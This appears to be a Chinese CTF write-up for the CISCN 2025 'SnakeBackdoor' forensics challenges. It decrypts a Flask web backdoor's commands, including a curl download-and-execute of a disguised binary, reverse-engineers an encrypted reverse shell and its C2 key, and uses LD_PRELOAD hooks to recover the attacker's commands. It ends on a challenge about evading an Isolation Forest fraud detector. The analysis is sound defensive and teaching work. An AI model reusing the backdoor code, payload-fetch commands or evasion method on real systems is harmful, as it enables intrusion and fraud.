enc_hex_cmd = request.form.get('data')
if not enc_hex_cmd:
return ""
try:
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
output_bytes = getattr(os, 'popen')(cmd).read().encode('utf-8', errors='ignore')
enc_output = rc4_crypt(output_bytes, RC4_SECRET)
return binascii.hexlify(enc_output).decode()
except:
return "Error"
app.error_handler_spec[None][code][exc_class]=lambda error: backdoor_handler()

FLAG

1
flag{v1p3r_5tr1k3_k3y}

SnakeBackdoor-4

Challenge

攻击者上传了一个二进制后门,请写出木马进程执行的本体文件的名称,结果提交形式:flag{xxxxx},仅写文件名不加路径

Solution

根据上面后门指定了 X-Token-Auth,直接搜索 3011aa21232beb7504432bfa90d32779

后门用的加密算法是rc4,这是个对称密码,直接在原脚本的基础上改改就能得到解密脚本了:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
import binascii

RC4_SECRET = b'v1p3r_5tr1k3_k3y'
def rc4_crypt(data: bytes, key: bytes) -> bytes:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) % 256
S[i], S[j] = S[j], S[i]
i = j = 0
res = bytearray()
for char in data:
i = (i + 1) % 256
j = (j + S[i]) % 256
S[i], S[j] = S[j], S[i]
res.append(char ^ S[(S[i] + S[j]) % 256])
return bytes(res)

def decrypt(enc_hex_cmd):
enc_cmd = binascii.unhexlify(enc_hex_cmd)
cmd = rc4_crypt(enc_cmd, RC4_SECRET).decode('utf-8', errors='ignore')
print(cmd)

enc = ["a6bc",
"bab1771fe3c167d904976a6971c1ba420d2151ab686ad6587751128712c88b46cbb73456445438",
"a3ab330fb285",
"bbb76743bfc926806187313e6edaf3074f245be4272bdf0a7f4c09d210d4d902c3e56f09094b120c0a092b8395aa713f7e718a69f5ae21c064256dc241a6b724a9aea3b216203e5a10f10eb13dd1edd3624db3f5654c99ff4765bb03a3a2146e29e2d2da1e573b22c81b0c52cfab219eccc668859e3bd14eab1aefc4ca669b52ea8226e7ef0c3c4cfc1b21d020c27df0a3c971ddf8fd045cf3f48bc8d7cee145c35da234effb63f0ef6c5ef1b4d17a70f304e97a24673b19854a68b986e4b09ba100994c8458ee27512ae609837ea44298e9807c3bb6425595741cee0dbfff85595cbc40a6ac4aee97d90dca171b19f76029b327b04f5533f3b88fe396d51235a1de8905931f13f9d60ebedd2ed372cc09951426dd495c5dbda222ea8830d99f1fb4c697d3e86ccab948282df14b99156b90904ac8dbe9fae55b52ef408ebe703884216be721280208e0e0082482add6b32472dd3b6eb5f931eec8d0d349a6c4f76482bc24b2db10b4",
"acad614ef3d82c8445d275713899f04d0d3819fc3726cf57634b189e0e95cc1f93e57656105246251f453a8396a43a6534",
"",
"bab6694ba3c938e64b8d257b7cccee460f6347f4363ed21c300c099f129b99028eb57408024e1c32061a",
"8eaa704aba9f708c4bc36c3d7bd8f14e0f3a0dbe6e6ef558304a13940edac21f8da261191f095f38401963d4c9e6602c64649f69fb846592337d3f9533",
"a2ae330da7846599188b26257a88f10b50790cb47e6a97177e1053c351",
"",
"acb07e4db7c93ece4bcc37246687ae0649614caa3430ce4b",
"",
"e0ac7e52fc996cc2038c2d7a3899ed",
""]
for e in enc:
decrypt(e)

解出的结果是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
id
uid=0(root) gid=0(root) groups=0(root)

ls -al
total 36
drwxr-xr-x 5 root root 4096 Dec 20 13:55 .
drwxrwxrwt 18 root root 12288 Dec 21 00:00 ..
-rw-r--r-- 1 root root 2284 Dec 20 13:55 app.py
-rw-r--r-- 1 root root 11 Dec 20 13:55 requirements.txt
drwxr-xr-x 2 root root 4096 Dec 20 13:55 static
drwxr-xr-x 2 root root 4096 Dec 20 13:55 templates
drwxr-xr-x 5 root root 4096 Dec 20 13:55 venv

curl 192.168.1.201:8080/shell.zip -o /tmp/123.zip

unzip -P nf2jd092jd01 -d /tmp /tmp/123.zip
Archive: /tmp/123.zip
inflating: /tmp/shell

mv /tmp/shell /tmp/python3.13

chmod +x /tmp/python3.13

/tmp/python3.13

FLAG

1
flag{python3.13}

SnakeBackdoor-5

Challenge

请提取驻留的木马本体文件,通过逆向分析找出木马样本通信使用的加密密钥(hex,小写字母),结果提交形式:flag{[0-9a-f]+}

Solution

吃了不会逆向的亏,这一问没做出来连带着下一问也做不出来

先用 DIE 查壳

CISCN2025Quals-5

没有壳,是个 ELF 程序

分析木马的主入口点

CISCN2025Quals-6

这是一个加密的反弹 shell,C2 地址是 192.168.1.201:58782,协议是 TCP

CISCN2025Quals-7

sub_18ED 的作用是使用 TCP socket 接收函数(recv)循环读取数据

程序没有硬编码加密密钥,而是采用了一种基于 PRNG 的动态密钥生成方案

这里的 command_ 是网络字节序,因此在获取 command_ 后要对其转换字节序,将主机字节序的结果存入 seedseed = (command_ >> 8) & 0xFF00 | (command_ << 8) & 0xFF0000 | (command_ << 24) | HIBYTE(command_);

用 seed 初始化随机数生成器后连续调用4次 rand(),生成了 4 个 32 位整数然后把它们存在数组 v8

根据前面逆向的结果回到流量数据包寻找那个四字节的种子,构造以下规则筛选符合要求的流量(来自 192.168.1.201:58782 的长度为 4 字节的 TCP 流量)

1
(ip.src == 192.168.1.201 && tcp.port == 58782) && tcp.len == 4

CISCN2025Quals-8

第一条结果就是程序接收到的种子 34952046
拿到种子后就可以还原加密密钥了

前面第 40 行的代码之所以需要转换字节序是因为它通过 Socket 接收到的是大端序的原始字节流,直接被小端序架构的 CPU 读取时会发生内存解释错误,因此需要将字节序调整为 CPU 能正确理解的主机序;人工提取直接把数据的逻辑数值作为整型常量定义即可,编译器在编译时会自动处理该数值在当前架构下的内存布局(也就是自动存为小端序)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdlib.h>
#define HIBYTE(x) (((x) >> 24) & 0xFF)

int main() {
unsigned int seed = 0x34952046;

srand(seed);

for (int i = 0; i <= 3; i++) {
unsigned int r = rand();
unsigned char *ptr = (unsigned char *)&r;
for (int j = 0; j < 4; j++) {
printf("%02x", ptr[j]);
}
}

return 0;
}

Windows 的 rand() 和 Linux 的实现不同,木马是在 Linux 编译的所以这里在 kali 编译运行

CISCN2025Quals-9

得到加密密钥 ac46fb610b313b4f32fc642d8834b456

FLAG

1
flag{ac46fb610b313b4f32fc642d8834b456}

SnakeBackdoor-6

Challenge

请提交攻击者获取服务器中的flag。结果提交形式:flag{xxxx}

Solution

赛后看了好久 SM4 还是看不懂,不用理解加密算法解题的方法比较常见的应该就是动调和 hook 了,然而我也不会动调,还是在 AI 的帮助下学学怎么 hook 吧

因为前面拿到的很多数据都是十六进制字符串,所以先写一个辅助函数来把十六进制字符串转为二进制字节流

1
2
3
4
5
6
7
// 将 Hex 字符串转为二进制字节流
void hex_to_bin(const char *hex, unsigned char *bin) {
size_t len = strlen(hex);
for (size_t i = 0; i < len; i += 2) {
sscanf(hex + i, "%2hhx", &bin[i / 2]);
}
}

继续分析程序主入口点的流程

CISCN2025Quals-6

先看前面就分析过的第 30-34 行,这里判断了如果 connect < 0 (连接失败)就会直接退出,所以要拦截 connect 并让它不小于 0 达到绕过 C2 的效果

双击这里的 connect 去看它是怎么实现的

CISCN2025Quals-10

1
2
3
4
int connect(int fd, const struct sockaddr *addr, socklen_t len)
{
return connect(fd, addr, len);
}

让这里的返回值为 0 即可,得到代码:

1
2
3
int connect(int fd, const struct sockaddr *addr, socklen_t len) {
return 0;
}

CISCN2025Quals-7

再看前面分析过的第 41-43 行,这里调用 4 次 rand() 来填充数组 v8,这里不用管随机数是怎么生成的,直接接管 rand() 的返回值,让它返回上一问拿到的 ac46fb610b313b4f32fc642d8834b456

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
int rand(void) {
// 定义变量,确保在多次调用间保持状态
static unsigned char key_bin[16];
static int rand_call_count = 0;
static int inited = 0;

// 第一次调用把 KEY_HEX 转为二进制存入 key_bin
if (!inited) {
hex_to_bin(KEY_HEX, key_bin);
inited = 1;
}

// 每次调用取出 4 字节作为一个整数返回给 v8[i]
if (rand_call_count < 4) {
unsigned int val = *(unsigned int *)&key_bin[rand_call_count * 4];
rand_call_count++;
return val;
}
return 0;
}

这样在程序执行 v8[i] = rand() 时填入的就是 ac46fb610b313b4f32fc642d8834b456

前面分析过 sub_18EDrecv 的简单封装

CISCN2025Quals-11

往下翻翻哪里调用了 sub_18ED 大概率就是接收 C2 数据的地方了

CISCN2025Quals-12

第 46 行调用了 sub_18ED,这里读取了一个 4 字节的数据,通过下面的分析可以知道这个是密文长度,把密文长度存入 n4

第 51 行再次调用了 sub_18ED,这里把读取到的长度为 n4 的密文存入了 command

然后后面就是加密的流程了,不需要理解它是怎么加密的,劫持 sub_18ED 之后把密文长度与密文注入即可,但是 sub_18ED 不方便劫持,所以劫持 recv()

先看看 recv() 是咋写的

CISCN2025Quals-13

sub_18ED 被多次调用,根据调用次数让 recv() 返回指定结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
ssize_t recv(int sockfd, void *buf, size_t len, int flags) {
static int recv_step = 0; // 记录调用次数
static unsigned int current_len = 0;

// 握手包
if (recv_step == 0) {
memset(buf, 0x41, 4); // 随便给4个字节就行
recv_step++;
return 4;
}

int idx = recv_step - 1;

// 处理完就退出
if (DATA[idx] == NULL) {
exit(0);
}

// 长度
if (recv_step % 2 != 0) {
sscanf(DATA[idx], "%x", &current_len);

// 创建4字节缓冲区存储长度值
unsigned char len_buf[4];
// 构造网络字节序 n4 = (n4 >> 8) & 0xFF00 | (n4 << 8) & 0xFF0000 | (n4 << 24) | HIBYTE(n4);
len_buf[0] = (current_len >> 24) & 0xFF; // MSB
len_buf[1] = (current_len >> 16) & 0xFF;
len_buf[2] = (current_len >> 8) & 0xFF;
len_buf[3] = current_len & 0xFF; // LSB

memcpy(buf, len_buf, 4);
recv_step++;
return 4;
}

// 密文
if (recv_step % 2 == 0) {
unsigned char *cipher_bin = (unsigned char *)malloc(current_len);
hex_to_bin(DATA[idx], cipher_bin);

// 将二进制密文数据复制到缓冲区
memcpy(buf, cipher_bin, current_len);

// 释放临时分配的内存
free(cipher_bin);

recv_step++;
return current_len;
}

return 0;
}

sub_1860 是解密函数,程序将解密后的明文存放在 command 中,紧接着调用 popen(command, "r"),此时明文已经在 command 参数里了

CISCN2025Quals-14

直接拦截 popen(),劫持修改让它输出明文即可

1
2
3
4
FILE *popen(const char *command, const char *type) {
printf("%s\n", command);
return fopen("/dev/null", "r");
}

为了能让程序稳定地循环解密,这里还需要额外处理 pclosesend

popen 中返回的是 fopen("/dev/null") 的普通文件流而非真正的进程管道,程序后续调用系统的 pclose 去关闭它时会报错退出;而程序执行完命令后会将结果通过 Socket 回传,但因为前面伪造了 connect,Socket 是无效的,调用 send 会导致 Broken pipe 错误

因此需要把这两个函数也 hook 掉假装一切正常:

1
2
3
4
5
6
7
8
int pclose(FILE *stream) {
if (stream) fclose(stream);
return 0;
}

ssize_t send(int sockfd, const void *buf, size_t len, int flags) {
return len;
}

在筛选 (ip.src == 192.168.1.201 && tcp.port == 58782) && tcp.len == 4 后对第一个结果(就是内容是种子的那条流量)追踪流(流 1827)得到密文长度和密文

CISCN2025Quals-16

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
34952046
00000010
49b351855f211b85bd012f80ce8ed5b3
00000010
2cc5becb37ca595a89445461c6512efc
00000010
b863696da0c6bb28da46e09069dd644f
00000030
87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7
00000010
b7c88bb0d92308a57f83d08a90ae024c
00000920
91fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07cc2bccec85db48d820038d8c1273024cd80f99e761e2dc2ca5f79f97eb5e01c74a7807ba9f29d99338ea1962daba592f2f212ca8686cf37880755f82949cce1e38a7cd2c8f4a79e5a5b640375a94faa0dd2df11225df777845781f0562aab86e09effa9d6254ac8db8853036f680c37d9a047eafd0b65d7b8715cdd7f9becf3046afd113dc0b8b714b002cafc2482c4f240dab7cfa61ea30b3d4595b67563fde635bbd243f3ea8cca3d6bad779161939dd3acd3de84e9f0345f8e4c7b1dd0909922334bbbc0ccd412b8d8216337b515ad84833f28fc2641bf05e058be36ed08c073a5d9d24304eaf50c29d1f3cde1893acc5e4ba171ed4d1474d3f0046208ba565589ace3ecd59e248c22663b789ff5ff9eb73ea4fff8399159d10f689487d553333ce4ec0c0c568a5f532a015a6f1801f0d820a0b8a744b915248b842a2448d9b6d2d0493c7e8a32b86c05a26127a02bbb99ba83f410b1c2b9bbc1b5e39a5558f467eebd32b38a3e208c2534f74b450e412c2ab730ec45b224a2ba5255e24fd831db1d900c8a57967b8ad6993fb3a9b2de1d2d6093eb14a02ddd4cb29275b4cd80f99e761e2dc2ca5f79f97eb5e01ae78b840270ec94dd8eaeb7d15b9b74406f4e96257e0eec382482d4dcfb64257b9e83711e847957323fedb65b189afe150ae2213b7c9d2788dce7ba88cf8774a9bbe15c3832f0c136b1397209a7d6a9f37d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0c81a54b98f519ef41ce3775f5b2c26c7ad644797d69604a9fd412ae25a28aec737d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0158df499dc5f4de223e3dca72bbf66f48ac1fc75b1be3cc2e4de7d370f88778a006daefea44d62d389eff227e4d031124cd80f99e761e2dc2ca5f79f97eb5e01507836a14c3f3e83d0a317cd2ab8048eba52c6ca5e547ff797fca0cd47c62f4b7356b3bc38bc81e646000cf069b2be56d9fe59bcf4063d0a0363b9209c4f3860c90967283e1b364810145ed6e7525074a1a2527c05163cd8d49595c493a9bc5e5d480f143d8f892dfd8f90b3e8d3ea20352c9d0ad901cc079bf2a592ae4c58be125fff2fb31ecdcd95dc2fcdefdf1c6101dabec17b13f2d04eb8851a3115be66d1778dfb4003a9f705ad133b196c32404734c892cda46767181cf7a0a38fb8ac6e0a04a6bff4b1e8a7bfdabe5ddabbf62f934f8f91898a41dd0a0fd7c83eb55d27fe795766e9fcf20b8b885081848690e58d3748a157c7801a3d5c42db28cebf582760ac945ac0fc2b72edfc43c01c919b5a749a422da155198cbe9e3a2806a32a4e4a8590bbcf0496b0e13a8be7fbb69d55fc3541905d448499cd88edf0c58f59205e9f89a115e0ca9b5c3ebd9415c631acc7f6b9de54a40a9fa7d606f95e4cd62cd0cb2eb4feb350d04c46ce6f8b8d0eaf46208b3b4d4508812cd908bce78846ad5c20a6dbb14f7373dfce61976b85e58d3748a157c7801a3d5c42db28cebf75ec1d1089052336e2c805f6e1d401dc35b7bb0bf188e8a9c2e8567a3ae0ec3bf6b9c05a0b6a9673c89693fbe7894b0135481fbddaf394773fad605eae99f4600e956dd8d489eb2ed159c598fabec5b17c8df9c4b414a371aa84b77eefea1bb42418ea7fd3709e2ef4850ddae503e92a0b4ff34aa7020c999bac051005b26fa5a0f828b51e588aeca3e690e9c84ff682164a86379ddda02b1d92f0dee9a1d0cb9cbdf5432cc4b943ba474c4f5467500b0b31d077cf5047aa9384cf4b6757ca370a5e0604fcd15bfedaefe87179f97cf0efe63431c3b3540eb2e459cb8250fc1993bea701c61b61b7ffc13777b2d9f9dc57d229f0489d6328
0f8e8c73baeb70cada6aa30d3a91d0c8f4f2a26dd4e3e7ad0c99810245ae92a05893d4b74323a37247cc6c9c417f8082ccef101bd31acdc79c8a673396353a030358d2a3db37019672b8042929a68fea5ba9965e5145940355e00debe46e80b75dd31b646f39d4cb3e057bc64c8e3b39a7c6d3bfdd41a836ff87620ec931e8a490f0ad33048de50841a959f4baac6fb0e36b389f6f5ecb3925b04a5d37f37479c0ed02b23f38c64e44300433b5a0cbc4063760642bba08473e11ef2c7be2f6bc0ac99cca4792b17dfe4f3358455566bb4e3006a200a87466f4dafea0bfa7a420220ca5ec4f5e73d89784fce2cfc878df8f3609576975a58ce58d3748a157c7801a3d5c42db28cebf152ab441a154dfbd83e6e929e62be820e41688e06d47bde780960ef807b3fd78bdf05032d4aa84948b384d9afd9fc12c95169f9ee5c386f60e32374951be448e92d4853b4c8ae7fbc715f4562156ba86b5adc49e400e7c227c617a26bbd908a27896015cf6f8532e5c04b5030abe4f7f0f6c167ab0ea204e76fdfca5e6311fee6403bb60415e43af2a10de078a479a8c644709a3082176ffb04af8535796b3acf83bcd500f288a491101dcea576f1dd97ba6ce01d8f1de4e98135bf20f394129672538325aaded45fd604b388019b12df57ff11b010ba7c39dc7f04fd26b770806b46d91016bd16e126c8d3f6c874acfe42ee6bc7030e24c62e9901103458ebd44fced6e5064c2f19da84dfff4c62f6c1088c3bc411ab9ab0f7eb772b85958d94f1775cb597f36010c045326de15287a5ee634e93ce07e0ad0ea5c9cebc60308823d603ef85287de24fb532cbc577b8fd49553f3ca6067dd2b58467a749571247d6c20d005178494c3c9ec028297a8360248ecd4a8d4a9088a0b27faba386dca644709a3082176ffb04af8535796b3ac02f30c6c0d7cc594e2bcafb487e74f12157ce37c1553c6382b1689c659eaeb23672538325aaded45fd604b388019b12df57ff11b010ba7c39dc7f04fd26b770804245b989b54cced122e6e9e9551efd011a479cd8db04b5fdcdb0cb75ba0039c44fced6e5064c2f19da84dfff4c62f6c5f4161bc70501782795e73b2032071d9a205839af1b4b42d35f628f79847bf3cd80c3faa03cab06d8cbeae800ce724a7823d603ef85287de24fb532cbc577b8fa014e820aedef4bbd9685845951995982ccf1a4cef2497d36c1dd18bd968932e5e197f709a77d04aa112373cc4c1d0ab
00000030
4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770
00000030
7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729
00000030
de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3169e7a763a22008029
00000010
7b82a7a9e2cacaa29b6e70cec2a3302a
00000010
f958a8cea6721e88d1882e0f16e4da4b
00000010
7b82a7a9e2cacaa29b6e70cec2a3302a

然后拼起来得到完整的 hook 代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>

const char *KEY_HEX = "ac46fb610b313b4f32fc642d8834b456";

// 流量包捕获的密文长度和密文
const char *DATA[] = {
"00000010",
"49b351855f211b85bd012f80ce8ed5b3",
"00000010",
"2cc5becb37ca595a89445461c6512efc",
"00000010",
"b863696da0c6bb28da46e09069dd644f",
"00000030",
"87e8faa921f3e67c530f1b6740a9d439794e426716d49f5e949d5d56f81ed54a97f6cc6752fcf7aa408a94e6a59029e7",
"00000010",
"b7c88bb0d92308a57f83d08a90ae024c",
"00000920",
"91fc3c4dc278b1afc5636adeca578f3fe37c16fa66fae433d0d7eb331e7926025ad84833f28fc2641bf05e058be36ed06b3ba79fb66a1ae4192c51152e87a1c6abf66f0a1038689d2137f94d6a686b946120ea2d6fbe312786411b701a353ab035de9c7dc81abfa0dfef55c14cd1f99e07cc2bccec85db48d820038d8c1273024cd80f99e761e2dc2ca5f79f97eb5e01c74a7807ba9f29d99338ea1962daba592f2f212ca8686cf37880755f82949cce1e38a7cd2c8f4a79e5a5b640375a94faa0dd2df11225df777845781f0562aab86e09effa9d6254ac8db8853036f680c37d9a047eafd0b65d7b8715cdd7f9becf3046afd113dc0b8b714b002cafc2482c4f240dab7cfa61ea30b3d4595b67563fde635bbd243f3ea8cca3d6bad779161939dd3acd3de84e9f0345f8e4c7b1dd0909922334bbbc0ccd412b8d8216337b515ad84833f28fc2641bf05e058be36ed08c073a5d9d24304eaf50c29d1f3cde1893acc5e4ba171ed4d1474d3f0046208ba565589ace3ecd59e248c22663b789ff5ff9eb73ea4fff8399159d10f689487d553333ce4ec0c0c568a5f532a015a6f1801f0d820a0b8a744b915248b842a2448d9b6d2d0493c7e8a32b86c05a26127a02bbb99ba83f410b1c2b9bbc1b5e39a5558f467eebd32b38a3e208c2534f74b450e412c2ab730ec45b224a2ba5255e24fd831db1d900c8a57967b8ad6993fb3a9b2de1d2d6093eb14a02ddd4cb29275b4cd80f99e761e2dc2ca5f79f97eb5e01ae78b840270ec94dd8eaeb7d15b9b74406f4e96257e0eec382482d4dcfb64257b9e83711e847957323fedb65b189afe150ae2213b7c9d2788dce7ba88cf8774a9bbe15c3832f0c136b1397209a7d6a9f37d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0c81a54b98f519ef41ce3775f5b2c26c7ad644797d69604a9fd412ae25a28aec737d3bc0a242f029d6a4feb9b26a55d786120ea2d6fbe312786411b701a353ab0158df499dc5f4de223e3dca72bbf66f48ac1fc75b1be3cc2e4de7d370f88778a006daefea44d62d389eff227e4d031124cd80f99e761e2dc2ca5f79f97eb5e01507836a14c3f3e83d0a317cd2ab8048eba52c6ca5e547ff797fca0cd47c62f4b7356b3bc38bc81e646000cf069b2be56d9fe59bcf4063d0a0363b9209c4f3860c90967283e1b364810145ed6e7525074a1a2527c05163cd8d49595c493a9bc5e5d480f143d8f892dfd8f90b3e8d3ea20352c9d0ad901cc079bf2a592ae4c58be125fff2fb31ecdcd95dc2fcdefdf1c6101dabec17b13f2d04eb8851a3115be66d1778dfb4003a9f705ad133b196c32404734c892cda46767181cf7a0a38fb8ac6e0a04a6bff4b1e8a7bfdabe5ddabbf62f934f8f91898a41dd0a0fd7c83eb55d27fe795766e9fcf20b8b885081848690e58d3748a157c7801a3d5c42db28cebf582760ac945ac0fc2b72edfc43c01c919b5a749a422da155198cbe9e3a2806a32a4e4a8590bbcf0496b0e13a8be7fbb69d55fc3541905d448499cd88edf0c58f59205e9f89a115e0ca9b5c3ebd9415c631acc7f6b9de54a40a9fa7d606f95e4cd62cd0cb2eb4feb350d04c46ce6f8b8d0eaf46208b3b4d4508812cd908bce78846ad5c20a6dbb14f7373dfce61976b85e58d3748a157c7801a3d5c42db28cebf75ec1d1089052336e2c805f6e1d401dc35b7bb0bf188e8a9c2e8567a3ae0ec3bf6b9c05a0b6a9673c89693fbe7894b0135481fbddaf394773fad605eae99f4600e956dd8d489eb2ed159c598fabec5b17c8df9c4b414a371aa84b77eefea1bb42418ea7fd3709e2ef4850ddae503e92a0b4ff34aa7020c999bac051005b26fa5a0f828b51e588aeca3e690e9c84ff682164a86379ddda02b1d92f0dee9a1d0cb9cbdf5432cc4b943ba474c4f5467500b0b31d077cf5047aa9384cf4b6757ca370a5e0604fcd15bfedaefe87179f97cf0efe63431c3b3540eb2e459cb8250fc1993bea701c61b61b7ffc13777b2d9f9dc57d229f0489d6328",
"00000030",
"4331cfda21eeab8922fcc7acced16d1a17b02e8d2d9dfee48dc8f18e0dbbb2e4c4547e39d8c4aa2418d9fca52c9c4770",
"00000030",
"7f4b0ef4806983f164af6f46b71d3fce1e3c0bd00c4dd162b72c156f0f3aecd2afcabf551e08380db6fd20316f8a2729",
"00000030",
"de7cc756e5c97fed18a72a95af102dac48dc0810752bd7755157e5909974cbe0ce87241e7f01e3169e7a763a22008029",
"00000010",
"7b82a7a9e2cacaa29b6e70cec2a3302a",
"00000010",
"f958a8cea6721e88d1882e0f16e4da4b",
"00000010",
"7b82a7a9e2cacaa29b6e70cec2a3302a",
NULL // 结束
};

// 将 Hex 字符串转为二进制字节流
void hex_to_bin(const char *hex, unsigned char *bin) {
size_t len = strlen(hex);
for (size_t i = 0; i < len; i += 2) {
sscanf(hex + i, "%2hhx", &bin[i / 2]);
}
}

int connect(int fd, const struct sockaddr *addr, socklen_t len) {
return 0;
}

int rand(void) {
// 定义变量,确保在多次调用间保持状态
static unsigned char key_bin[16];
static int rand_call_count = 0;
static int inited = 0;

// 第一次调用把 KEY_HEX 转为二进制存入 key_bin
if (!inited) {
hex_to_bin(KEY_HEX, key_bin);
inited = 1;
}

// 每次调用取出 4 字节作为一个整数返回给 v8[i]
if (rand_call_count < 4) {
unsigned int val = *(unsigned int *)&key_bin[rand_call_count * 4];
rand_call_count++;
return val;
}
return 0;
}

ssize_t recv(int sockfd, void *buf, size_t len, int flags) {
static int recv_step = 0; // 记录调用次数
static unsigned int current_len = 0;

// 握手包
if (recv_step == 0) {
memset(buf, 0x41, 4); // 随便给4个字节就行
recv_step++;
return 4;
}

int idx = recv_step - 1;

// 处理完就退出
if (DATA[idx] == NULL) {
exit(0);
}

// 长度
if (recv_step % 2 != 0) {
sscanf(DATA[idx], "%x", &current_len);

// 创建4字节缓冲区存储长度值
unsigned char len_buf[4];
// 构造网络字节序 n4 = (n4 >> 8) & 0xFF00 | (n4 << 8) & 0xFF0000 | (n4 << 24) | HIBYTE(n4);
len_buf[0] = (current_len >> 24) & 0xFF; // MSB
len_buf[1] = (current_len >> 16) & 0xFF;
len_buf[2] = (current_len >> 8) & 0xFF;
len_buf[3] = current_len & 0xFF; // LSB

memcpy(buf, len_buf, 4);
recv_step++;
return 4;
}

// 密文
if (recv_step % 2 == 0) {
unsigned char *cipher_bin = (unsigned char *)malloc(current_len);
hex_to_bin(DATA[idx], cipher_bin);

// 将二进制密文数据复制到缓冲区
memcpy(buf, cipher_bin, current_len);

// 释放临时分配的内存
free(cipher_bin);

recv_step++;
return current_len;
}

return 0;
}

FILE *popen(const char *command, const char *type) {
printf("%s\n", command);
return fopen("/dev/null", "r");
}

int pclose(FILE *stream) {
if (stream) fclose(stream);
return 0;
}

ssize_t send(int sockfd, const void *buf, size_t len, int flags) {
return len;
}
1
2
gcc -fPIC -shared -o hook.so hook.c -ldl
LD_PRELOAD=./hook.so ./shell

CISCN2025Quals-15

不过这里要注意的是出题人互换了 1l0O,需要手动改回来(好阴啊)

FLAG

1
flag{6894c9ec-719b-4605-82bf-4fe1de27738f}

AI安全

The Silent Heist

Challenge

目标银行部署了一套基于 Isolation Forest (孤立森林) 的反欺诈系统。该系统不依赖传统的黑名单,而是通过机器学习严密监控交易的 20 个统计学维度。系统学习了正常用户的行为模式(包括资金流向、设备指纹的协方差关系等),一旦发现提交的数据分布偏离了“正常模型”,就会立即触发警报。

我们成功截取了一份包含 1000 条正常交易记录的流量日志 (public_ledger.csv)。请你利用统计学方法分析这份数据,逆向推导其多维特征分布规律,并伪造一批新的交易记录。

Solution

孤立森林是一种非参数化的异常检测算法,其核心思想是异常点往往稀少且不同。异常点远离高密度区域,在树中很快就会被孤立,路径长度较短;正常点处于高密度聚集区,要经过多次切分才能被孤立,路径长度较长。

先分析 public_ledger.csv 的统计特性:

1
2
3
4
import pandas as pd
df = pd.read_csv('public_ledger.csv')
print(df.describe())
print(df.corr())

输出结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
                f0           f1           f2           f3  ...          f16          f17          f18          f19
count 1000.000000 1000.000000 1000.000000 1000.000000 ... 1000.000000 1000.000000 1000.000000 1000.000000
mean 353.366066 27.518295 93.723774 82.976145 ... 31.057835 43.039691 14.267126 29.504623
std 25.761303 2.727274 2.828509 2.690375 ... 2.574662 2.468624 2.808017 2.137193
min 277.528901 19.139613 85.223702 75.070764 ... 22.914408 35.168580 5.381082 23.436739
25% 335.406619 25.651252 91.867704 81.171030 ... 29.230476 41.424166 12.347197 28.079182
50% 353.419892 27.557481 93.661490 82.935950 ... 31.025311 42.978489 14.239108 29.508814
75% 370.928230 29.404009 95.605310 84.894005 ... 32.874875 44.669082 16.365519 31.046881
max 431.299163 35.577185 102.853029 90.399800 ... 39.317027 50.426151 23.295685 36.214328

[8 rows x 20 columns]
f0 f1 f2 f3 f4 ... f15 f16 f17 f18 f19
f0 1.000000 0.750063 0.716637 0.759383 0.507360 ... 0.821064 0.703803 0.702949 0.830558 0.794620
f1 0.750063 1.000000 0.806308 0.704578 0.689826 ... 0.749549 0.736088 0.696779 0.779997 0.581747
f2 0.716637 0.806308 1.000000 0.671494 0.614247 ... 0.694812 0.716734 0.773410 0.682263 0.662238
f3 0.759383 0.704578 0.671494 1.000000 0.725941 ... 0.890735 0.673606 0.728218 0.788946 0.692148
f4 0.507360 0.689826 0.614247 0.725941 1.000000 ... 0.697393 0.680010 0.491486 0.552296 0.477895
f5 0.662030 0.734213 0.810812 0.710760 0.553893 ... 0.629712 0.773858 0.697300 0.762147 0.685180
f6 0.787701 0.730347 0.764020 0.718250 0.612411 ... 0.674097 0.678779 0.801436 0.745377 0.708017
f7 0.700495 0.724452 0.671756 0.661123 0.674914 ... 0.759921 0.719829 0.561439 0.846569 0.582050
f8 0.636828 0.728840 0.795659 0.786771 0.796218 ... 0.723262 0.765611 0.835049 0.709286 0.580926
